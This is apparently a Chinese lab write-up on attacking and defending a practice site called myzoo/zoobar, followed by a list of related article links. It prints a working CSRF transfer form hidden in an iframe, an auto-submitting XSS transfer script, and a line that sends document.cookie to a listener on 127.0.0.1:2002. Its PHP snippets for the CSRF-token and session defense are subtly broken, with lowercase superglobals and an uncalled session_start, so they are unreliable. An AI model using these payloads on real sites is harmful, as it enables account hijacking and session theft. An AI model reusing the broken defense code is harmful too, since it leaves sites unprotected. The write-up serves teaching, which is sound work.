首先在user.php文件中去除黑名单的第一行标签,在白名单中添加<script>
E1:csrf攻击zoobar
csrf:cross-site request forgery    跨站伪造请求
普通用户登录myzoo网站后,在未退出的状态下,浏览了attack/csrf网站
该网站伪造了一份myzoo网站的表单,普通用户在不知情的状态下,自动被提交了一份恶意表单
由于http协议的无状态特性,在每一份请求的表单中会自动带上cookie
从而在myzoo网站看来一份合法的请求被提交
iframe限制了网站跳转,普通用户难以察觉

<iframe name=my_iframe width=70% height=40%></iframe>
<form method=POST name=transferform action="http://www.myzoo.com/transfer.php" target="my_iframe">
<p>Send <input name=zoobars type=text value="1" size=5> zoobars</p>
<p>to <input name=recipient type=text value="attack"></p>
<input type=submit name=submission value="Send">
</form>
 
E2:csrf防御攻击zoobar
方案1:
验证HTTP Referer字段,它记录了该HTTP请求的源地址
缺点:该字段可以被普通用户修改

方案2:【相对合理】
在请求中添加token并验证
在服务器端建立拦截器验证此token

基本思路:
1)启动session
<?php session_start; ?>
2)在session中产生一个随机数
$_session['csrf']=md5(uniqid(mt_rand(),true));
3)将生成的值放在表单中
<input type=hidden name=csrf value="<?php echo $_session['csrf']?>"/>
4)用户提交表单验证提交的token是否和session中保存的值一致

 if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists &&
        $_post['submission'] && ($_post['csrf']==$_session['csrf']))
 
E3:xss攻击zoobar
xss:cross sitescript    跨站脚本攻击
通过js创建自提交表单

<script>
var f=document.createElement("form");
document.body.appendChild(f);
 
var a=document.createElement("input");
a.type="hidden";
a.type="text";
a.value="1";
a.name="zoobars";
f.appendChild(a);
 
var b=document.createElement("input");
b.type="hidden";
b.type="text";
b.name="recipient"
b.value="aa";
f.appendChild(b);
 
var c=document.createElement("input");
c.type="hidden";
c.name="submission";
c.value="Send";
f.appendChild(c);
 
f.method="POST";
f.name="transferform";
f.submit();
</script>

E4:xss防御攻击zoobar
同理csrf防御攻击zoobar

 
E5:xss攻击cookie
凡是可以执行js代码的地方就可能存在xss漏洞!

<script>
document.write("<img src=http://127.0.0.1:2002?cookie="+document.cookie+">");
</script>
E6:xss防御攻击cookie 
HttpOnly

setcookie($this->cookieName, $cookieData, time() + 31104000,NULL,NULL,NULL,TRUE);

突然又没有跑出应有的结果,下次再贴图

web安全:xss && csrf的更多相关文章

  1. web框架--XSS攻击和CSRF请求伪造

    XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web ...

  2. web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)

    web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...

  3. web安全技术--XSS和CSRF

    Xss一般是脚本代码,主要是JS的,但是也有AS和VBS的. 主要分为反射型,存储型,DOM型三个大类. 一般来讲在手工测试的时候先要考虑的地方就是哪里有输入那里有输出. 然后是进行敏感字符测试,通常 ...

  4. Web安全XSS

    Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...

  5. 关于安全性问题:(XSS,csrf,cors,jsonp,同源策略)

    关于安全性问题:(XSS,csrf,cors,jsonp,同源策略) Ajax 是无需刷新页面就能从服务器获取数据的一种方法.它的核心对象是XHR,同源策略是ajax的一种约束,它为通信设置了相同的协 ...

  6. Web安全之CSRF攻击的防御措施

    Web安全之CSRF攻击的防御措施   CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...

  7. XSS/CSRF跨站攻击和防护方案

    Xss(Cross Site Scripting 跨站脚本攻击)/CSRF(Cross-site request forgery 跨站请求伪造),它与著名的SQL注入攻击类似,都是利用了Web页面的编 ...

  8. 深入理解OAuth2.0 XSS CSRF CORS 原理

    基于Token的WEB后台认证机制 http://www.cnblogs.com/xiekeli/p/5607107.html 深入理解OAuth2.0协议http://blog.csdn.net/s ...

  9. Web安全之CSRF(跨站请求伪造)

    CSRF(跨站请求伪造)概述 Cross-site request forgery 简称为"CSRF",在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺 ...

  10. DedeCMS Xss+Csrf Getshell \dede\file_manage_control.php

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对这个漏洞的利用方式进行简单的概括 . 这个漏洞的利用前提是需要登录到后台进行操作 ...

随机推荐

  1. 开放计算平台——数据仓库(Hive)权限控制

    平台数据仓库使用Hive进行构建,通过调研决定使用“SQL Standards Based Authorization in HiveServer2”对用户提交的SQL进行权限控制,也可根据实际情况选 ...

  2. 酷派D530刷机指引之官方ROM

    刷机前的准备工作 刷官方ROM的大致过程就是:先手机连接电脑,然后在电脑上运行刷机工具,然后那个刷机工具就会把你选择的ROM装到手机里面,然后就没有然后了. 所以在刷机之前,硬件方面需要准备好: 充满 ...

  3. Matlab:回归分析(2)

    方法一:直接用多元二项式回归 %数据输入 x1 = [ ]; x2 = [ ]; %多元二项式回归函数 y = [ ]; X = [x1' x2']; Y = y'; rstool(X, Y, 'pu ...

  4. java cmd常用命令

    熟悉Java的常用命令 面试例题11:使用jar命令. 请使用jar命令,将test文件夹压缩成.jar文件,并简述其压缩包的结构. 考点:对于Java程序员来说,更多情况下是使用集成Java开发工具 ...

  5. SKViedoNode类

    继承自 SKNode:UIResponder:NSObject 符合 NSCoding(SKNode)NSCopying(SKNode)NSObject(NSObject) 框架  /System/L ...

  6. ASCII码表及键盘码表。

             ASCII码表 ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符 ASCII值 控制字符 0 NUT 32 (space) 64 @ 96 . 1 SOH 33 ...

  7. Cobar是提供关系型数据库(MySQL)分布式服务的中间件

    简介 Cobar是提供关系型数据库(MySQL)分布式服务的中间件,它可以让传统的数据库得到良好的线性扩展,并看上去还是一个数据库,对应用保持透明. 产品在阿里巴巴稳定运行3年以上. 接管了3000+ ...

  8. 通过模拟器和ida搭建Android动态调试环境的问题

    这几天在学Android的native层逆向.在按照教程用ida搭建动态调试环境时,第一步是把android_server 放到手机里执行,但是在手机里可以,在genymotion模拟器上就提示 no ...

  9. udp协议基础(转自疯狂java讲义)

    第17章  网络编程 17.4  基于UDP协议的网络编程 UDP协议是一种不可靠的网络协议,它在通信实例的两端各建立一个Socket,但这两个Socket之间并没有虚拟链路,这两个Socket只是发 ...

  10. 关于js跨域

    get方式: 称为jsonp,就是js的跨域通信方式,因为知道有些标签可以跨域获取内容,例如img,script,link...,jsonp就是把动态创建一个script标签,然后配置src属性,后台 ...